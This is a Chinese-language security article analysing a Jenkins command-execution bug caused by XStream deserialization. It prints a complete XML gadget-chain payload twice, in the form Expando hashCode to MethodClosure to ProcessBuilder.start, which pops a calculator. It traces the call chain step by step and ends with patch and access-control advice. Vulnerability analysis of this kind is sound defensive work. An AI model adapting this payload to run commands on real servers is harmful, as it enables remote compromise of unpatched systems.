Jenkins近日修复了一个可通过低权限用户调用API服务致使的命令执行漏洞:低权限用户通过构造一个恶意的XML文档并发送至服务端接口,使服务端解析时调用API执行外部命令。
XStream是一个流行的反序列化库,许多主流应用程序,如IRA、Confluence、Bamboo,和Jenkins等中都使用了该库,另外,它还支持多个主流库,如Spring和Struts 2等。
由于Jenkins将Groovy文件放在类目录中,因此可以借助 XML文件 来利用该漏洞。有很多应用都使用XStream库,并且将Groovy文件放在类目录中,研究人员可以仿照此方法在很多开源应用中发现同样的漏洞。
<map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando" reference="../../../.."/> <owner class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>/Applications/Calculator.app</string> </command> <redirectErrorStream>false</redirectErrorStream> </owner> <resolveStrategy>0</resolveStrategy> <directive>0</directive> <parameterTypes/> <maximumNumberOfParameters>0</maximumNumberOfParameters> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>
下面来详细分析一下以上XML文件。
该XML文件的根节点是<map>。下列代码为XStream如何重建MapConverter.java文件中的map。
public Object unmarshal(...) { Map map = (Map) createCollection(context.getRequiredType()); populateMap(reader, context, map); return map; }
因此<map>的默认类型为java.util.HashMap,并且使用用户提供的条目进行填充,这些条目是<map>的直接子元素,按顺序排列如下:
<map> <entry> <key1/> <value1/> </entry> <entry> <key2/> <value2/> </entry> </map>
在XStream 代码 中的实现:
用户提供的“key”和“value”变量读入,并传入HashMap.So文件中的put()函数:
public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key.hashCode()); ... }
作为Map#put()调用的一部分,XStream间接触发causingkey.hashCode()函数的调用,这就是漏洞利用的切入点。如果我们能够更改部分类型的hashCode()函数,那么就可以执行一些恶意的操作。
我们将目标定为groovy.util.Expando文件,其中包含一个有趣的hashCode()实现:
public int hashCode() { Object method = getProperties().get("hashCode"); if (method != null && method instanceof Closure) { // invoke overridden hashCode closure method Closure closure = (Closure) method; closure.setDelegate(this); Integer ret = (Integer) closure.call(); return ret.intValue(); } else { return super.hashCode(); } }
以上代码的作用归结为:如果Expando文件中包含Closure类,并且该类可以计算出哈希值,那么就会调用Closure并返回它的输出值。我们要做的就是提供一个可以使用的Closure类。
因为Closure是抽象类,那么应该怎样定义其子类呢?我们可以定义MethodClosure类,一个可以调用任何类和方法的封装类。借此来调用java.lang.ProcessBuilder中的start()方法,来弹出一个计算器。调用的先后顺序为:
1、MapConverter#populateMap()calls HashMap#put()
2、HashMap#put()calls Expando#hashCode()
3、Expando#hashCode()calls MethodClosure#call()
4、MethodClosure#call()calls MethodClosure#doCall()
5、MethodClosure#doCall()calls InvokerHelper#invokeMethod()
6、InvokerHelper#invokeMethod()calls ProcessBuilder#start()
综合以上分析,我们可以得到完整的 XML文件 :
<map> <!-- This Expando is our key in the root level Map --> <groovy.util.Expando> <expandoProperties> <entry> <!-- This property tells Expando to call our method on hashCode() --> <string>hashCode</string> <!-- This MethodClosure will pop a calculator when called --> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando" reference="../../../.."/> <owner class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>/Applications/Calculator.app</string> </command> <redirectErrorStream>false</redirectErrorStream> </owner> <resolveStrategy>0</resolveStrategy> <directive>0</directive> <parameterTypes/> <maximumNumberOfParameters>0</maximumNumberOfParameters> <!-- This is the name of the method to invoke on ProcessBuilder --> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <!-- This integer is our value for the only key-value. Can be anything. --> <int>1</int> </map>
这已经不是第一次曝光jenkins的Java反序列化问题了,由于XStream库使用广泛,该漏洞可能影响到多个产品,以下为对jenkins用户的安全建议:
1、Jenkins已经发布了该漏洞的补丁,建议用户更新至最新版本Jenkins 1.650及以上版本,并且尽量保证jenkins账号不为弱口令;
2、网络管理员应该对jenkins实行访问控制,并且放入内网对外网不开放,同时禁止jenkins的匿名访问权限。
原文地址: contrastsecurity , vul_wish编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)